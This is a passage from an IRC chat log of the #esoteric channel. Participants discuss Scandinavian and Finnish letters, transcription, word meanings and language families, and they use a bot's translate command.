skillingsbolle. < 1268416745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not really sure < 1268416748 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and some grammar endings are different < 1268416750 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ah, pretty much like English and Scottish? < 1268416775 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Like skillingsbolle. <-- is that bokmåö or nynorsk? < 1268416775 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: perhaps, i'm not that familiar with scottish < 1268416781 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I was sort of under the impression that Nynorsk and Bokmal were simply different writing systems. < 1268416784 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: both i think < 1268416789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, btw bokmal sounds hilarious in Swedish < 1268416791 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's like English, except that some of the words are different < 1268416794 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it means "book moth" < 1268416805 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think I missed an accent < 1268416814 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Bokmål < 1268416814 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think Wikipedia calls them "skillingsbolle" in Bokmal and "kanelbolle" in Nynorsk. < 1268416822 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, not accent... å is _not_ a with an accent < 1268416825 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: "regnes i dag" = "is today considered" < 1268416827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is a separate letter in the alphabet < 1268416830 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, OK < 1268416837 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the accent is still how you /type/ it, though < 1268416837 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: which word is which? < 1268416840 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Diacritics are commonly called accents < 1268416847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, no it isn't for me. There is a key for it < 1268416850 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :just like ä and a are different letters in German < 1268416862 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: in Hungarian, ly is a different letter from l (and not two letters) < 1268416864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I would say it isn't Diacritics either. Just like the dot over i isn't < 1268416867 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :likewise, ll is a letter of its own in Welsh < 1268416877 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which you really have to hear pronounced to know what it sounds like < 1268416877 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, see! < 1268416887 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but you still /type/ it as two ls < 1268416887 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Is ll still considered a separate letter in Spanish? < 1268416892 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, in Swedish ä is different from a too < 1268416898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :same goes for o vs. ö < 1268416909 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I would say it is, since it's still got the basic glyph "a" underneath < 1268416916 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so if you wrote Landudno rather than Llandudno, you could truthfully say you missed an l (although I'm not sure I've spelt the rest of the word correctly) < 1268416925 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, then i is also an IPA symbol with a dot over it! < 1268416927 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1268416938 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: book moth would be bokmøll in norw. < 1268416941 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is absurd < 1268416945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, right < 1268416950 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: No, because they're different alphabets. < 1268416965 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Swedish and company use both glyphs, a and å. < 1268416968 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and? what about v and w? < 1268416976 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: v isn't a diacritic. < 1268416976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the latter is vv basically < 1268416978 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: i don't think "skillingsbolle" vs. "kanelbolle" is really a bokmål/nynorsk distinction < 1268416980 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because it *looks* like it < 1268416990 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it must be that vvay < 1268416991 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :According to Unicode, all IPA glyphs are lowercase Latin letters. < 1268416993 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :clearly < 1268417045 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, but the same argument should apply even to non-diacritics < 1268417051 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Really? OK < 1268417051 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :where one letter looks like another extended < 1268417061 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: i dag = today, regnes = is considered < 1268417063 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, like L is l_ < 1268417086 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, the latter looks for a typo of "rains" to me < 1268417087 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Why should it? I'm talking about diacritics. < 1268417094 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, why should it *not* < 1268417123 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: regne means both to rain and to calculate/consider in norwegian < 1268417170 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: My point was that the ° on the å can/should be considered a diacritic in Swedish and therefore can be called an accent. I'm not even sure what you're trying to argue at the moment. < 1268417185 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I sense a pun. < 1268417194 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: -s is a passive present ending, used in fairly formal writing < 1268417197 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Hey cloud, what are you doing?" "I'm considering." < 1268417216 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Vi må regne med regn. < 1268417236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm? it isn't considered that way though < 1268417248 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Vi må regne med regn. < 1268417251 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :We must expect rain. < 1268417253 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :regne med = expect < 1268417267 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's med? < 1268417268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268417270 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :with < 1268417271 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :räkna in Swedish < 1268417280 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, also the thing under sleds < 1268417284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that touches the slow < 1268417285 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: norwegian like english is cursed with phrasal verbs :D < 1268417286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1268417287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :snow < 1268417299 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they are also called "med" (medar in plural) < 1268417313 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: meie in norwegian < 1268417316 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1268417332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, no reason to keep it at a single language is there? < 1268417366 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, anyway, my point was that replacing ö with o, å with a or ä with a is *incorrect* < 1268417375 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that is true. < 1268417377 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So how would you say "I'm considering" or "I'm raining", if those are the same thing? < 1268417381 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and can quite often yield a different and valid word < 1268417386 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sometimes to hilarious effects < 1268417401 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well, that can happen regardless of diacritic-ness. < 1268417404 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But yes. < 1268417407 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i'm just providing comparisons < 1268417414 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Give examples of how they can yield different word < 1268417421 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Tengo 17 años. < 1268417424 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :I have 17 years. < 1268417426 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Tengo 17 anos. < 1268417426 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ais523 see: http://en.wikipedia.org/wiki/%C3%85#Transcription < 1268417434 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Tengo 17 anos. < 1268417435 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1268417442 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto es en Tengo 17 anos. < 1268417451 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Tengo 17 anos. < 1268417452 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, because å -> a is incorrect. Wrong way to transcribe it < 1268417453 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: actually "I'm considering" alone does not use regne < 1268417454 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I know all this, I'm just arguing what the term 'diacritic' means :-P < 1268417469 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION growls at HackEgo.
< 1268417471 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it needs to be "consider as" -> "regne som" < 1268417478 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: according to that article, it often is transcribed as "a" < 1268417480 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, you should use å -> aa, ä -> ae, ö -> oe I think. < 1268417485 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, incorrect though < 1268417487 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: how about "I'm calculating"? < 1268417500 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: jeg regner, yes < 1268417508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, "jag beräknar" < 1268417517 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because "räknar" is more like "counting" < 1268417518 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ä/ö -> ae/oe aren't valid for Finnish, not sure about Swedish. (They are valid for German, however.) < 1268417525 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or perhaps just basic +-*/ < 1268417534 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: beregne is only transitive in norwegian < 1268417540 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :while calculating and "beräknar" sounds more like the stuff oerjan does < 1268417547 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for Swedish that is < 1268417563 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :How do you transcribe Finnish, anyway? < 1268417570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, not completely valid for Swedish I think < 1268417571 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You don't. :-P < 1268417591 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :conclusion: just don't drop the dots and rings < 1268417600 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, why would you need to < 1268417603 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I can't type the ring on this keyboard, or at least don't know how < 1268417605 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Sometimes you have to < 1268417606 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although umlauts are fine < 1268417610 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Because you don't have access to a Finnish keyboard, perhaps. < 1268417614 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it is just the same alphabet as Swedish isn't it? < 1268417629 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268417633 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, Well, Swedish and Finnish share keyboard layout < 1268417652 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Almost: W isn't officially part of the alphabet < 1268417663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it wasn't in Swedish until very recently either < 1268417663 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: "I'm considering" alone would be more likely "Jeg vurderer" < 1268417683 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you're considering doing something < 1268417683 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, which means in a lot of dictionaries w still sorts under v < 1268417691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(for imported words and such) < 1268417702 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or just "Jeg tenker" (cognate to think) < 1268417704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, sounds like "I wonder"? < 1268417712 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the former that is < 1268417721 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, that would be "Jeg undrer" < 1268417729 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1268417748 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or "undres" < 1268417752 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Wikipedia suggests that for Finnish, äö are just replaced by ao < 1268417759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, then I have no clue what vurderer would be in Swedish < 1268417773 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto no sv vurdere < 1268417778 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bedöma < 1268417803 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :bedømme is also norwegian < 1268417827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268417831 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think Finnish looks and sounds really neat. It's too bad it's completely unrelated to English. < 1268417850 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, it sounds like a tongue twister all the time to me < 1268417856 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and looks like it too < 1268417857 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Too bad? :-P < 1268417882 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: except i don't think you can bedømme for an action you consider doing, only for judging something, which also can use vurdere < 1268417903 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It means I can't learn it just by reading and using HackEgo. < 1268417960 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh btw, in hand writing you often use ~ above the ä or ö in Swedish. that is, fast handwriting < 1268417970 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sometimes just a - if not writing neatly < 1268417976 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :¯ < 1268417987 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it would look really strange outside handwriting < 1268417996 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what do you call the handwriting where letters join together < 1268418002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as opposed stand free of each other < 1268418003 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Not "really" IMO but a bit, yes. < 1268418006 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Cursive, here. < 1268418006 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Cursive < 1268418008 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is the former only this applies to < 1268418015 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Joined-up, elsewhere. < 1268418028 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :skrivstil in Swedish < 1268418037 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :kursiv is used for italic fonts < 1268418040 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok if there were any questions i missed above you'll have to repeat them :D < 1268418048 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, I barely know any non-Indo-European natural languages at all. < 1268418062 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I know how to say a couple of language in themselves. < 1268418063 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: don't we all < 1268418072 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can count to three on Finnish, and I know the Finnish word for Finland < 1268418073 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Suomi, shqip, nihongo... < 1268418080 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Shqip? < 1268418084 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Albanian. < 1268418088 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh and for Helsingfors < 1268418092 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I know an Albanian guy. < 1268418100 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: shqip is actually indo-european < 1268418107 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what do you call Åbo btw? < 1268418115 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: wow, it is. < 1268418120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :do you use a different name for it? < 1268418121 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Turku < 1268418122 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So what's "skrivstil" literally? < 1268418131 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It looks like "scribestyle" or "writestyle". < 1268418132 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"writing style" :-P < 1268418138 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, what Deewiant said < 1268418151 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which really doesn't make a lot of sense when you think about the name < 1268418173 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1268418187 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but there are plenty of things in English that makes no sense too < 1268418192 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: i recall that albanian and greek are closest relatives (a language clade? :D) < 1268418201 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Albanian and Greek are related? Huh. < 1268418213 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1268418227 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, "clade"? < 1268418229 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm confusing it with armenian, which is _also_ indoeuropean < 1268418234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can't find it in a dictionary < 1268418235 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: evolutionary term < 1268418243 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, meaning? < 1268418261 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the set of all descendants of a common ancestor < 1268418262 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A clade is a group of all the species descended from a certain common ancestor. < 1268418274 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Darn, I lose. < 1268418283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268418323 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i learned it only from wikipedia, there seems to be an ongoing biological movement to replace the old class/order style classification with a cladistic classification < 1268418342 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, I'm reading the Wikipedia article about kissa. I see that there are lots of long words. < 1268418343 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1268418350 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It sort of looks smeared. < 1268418358 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What's "long" in your opinion ;-) < 1268418360 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, kissa? As in sv:kissa? < 1268418368 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: fi:kissa, en:cat. < 1268418368 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No, fi:kissa. < 1268418372 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why are you reading an article about urination?! < 1268418374 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268418380 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i.e. reptiles are not a clade, so some don't want to use that as a classification term (it includes all descendants of a certain ancestor which are _not_ mammals or birds) < 1268418380 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :For science! < 1268418384 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Oh, so that's what I was reading!" < 1268418384 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(which is what sv:kissa means) < 1268418397 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well if it was fi:kissa I don't really know < 1268418398 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Kissoja on kesytetty ehkä jo heti maatalouteen siirtymisen jälkeen. < 1268418401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ah like "kisse"? < 1268418402 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Cats have been domesticated perhaps as early as immediately after the transition to agriculture. < 1268418406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is like "pussy cat" < 1268418406 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :s/i.e./e.g./ < 1268418419 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, Finnish and Swedish are not exactly similar, are they. < 1268418427 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Well, there's probably some related etymology, but no, sv:katt. < 1268418448 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, apart from perhaps some words from our shared history, then no < 1268418464 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :after all, Finland was a part of Sweden long ago < 1268418465 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :As far as I know, they have no shared history whatsoever. < 1268418475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, see what I just said < 1268418507 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess some loanwords could have gotten swapped there. < 1268418509 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Finland was under Swedish rule for some 700 years :-P < 1268418527 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The same way English has lots of Romance words even though it's a Germanic language, I guess. < 1268418537 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, still, why didn't we manage to get you to switch to an easier to pronounce language ;P) < 1268418541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/)// < 1268418546 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Because we're dense like that < 1268418551 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, in that sentence about cats, I have no idea how to match the Finnish to the English. < 1268418553 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268418554 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Apart from the first word. < 1268418562 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :English is such a ripoff-language :-P < 1268418564 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, what was the first word? < 1268418571 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :My guess: "kissa" < 1268418594 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The first word was "kissoja". < 1268418599 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Darn < 1268418603 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, you have lots of Scandinavian words imported. Like window, from old Scandinavian vindöga (wind eye) < 1268418609 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Oh, right, that one above < 1268418625 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Kissoja on kesytetty ehkä jo heti maatalouteen siirtymisen jälkeen." < 1268418629 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, we replaced it with "fönster" later, which is a word imported from German < 1268418630 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: on kesytetty <-> have been domesticated < 1268418635 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: ehkä <-> perhaps < 1268418652 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: jo <-> as early as < 1268418658 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: heti <-> immediately < 1268418662 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, "jo <-> as early as"? < 1268418670 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: maatalouteen <-> agriculture < 1268418671 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that sounds like a strange thing to have a two letter word for < 1268418673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :very strange < 1268418675 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: maatalouteen <-> to agriculture < 1268418679 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(My bad) < 1268418689 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: siirtymisen <-> the transition < 1268418693 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: jälkeen <-> after < 1268418706 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: norwegian still uses "vindu" < 1268418711 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, okay < 1268418728 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Well, jo <-> already < 1268418728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, why does this make me thing of darth and droids btw? < 1268418730 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :.... < 1268418735 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :think* < 1268418742 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: mace windu of course < 1268418744 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, hm < 1268418745 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's just a not-that-literal translation. < 1268418748 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh duh < 1268418911 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: http://en.wikipedia.org/wiki/Graeco-Armenian although it's a disputed hypothesis < 1268419012 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Baah, REXP is just a binding to POSIX regexen < 1268419018 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Mehhhhh < 1268419021 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes? didn't you know? < 1268419035 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I did, in which case I forgot < 1268419036 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what did you think it was? < 1268419039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, bindings to PCRE? < 1268419049 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Something more generic < 1268419055 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric 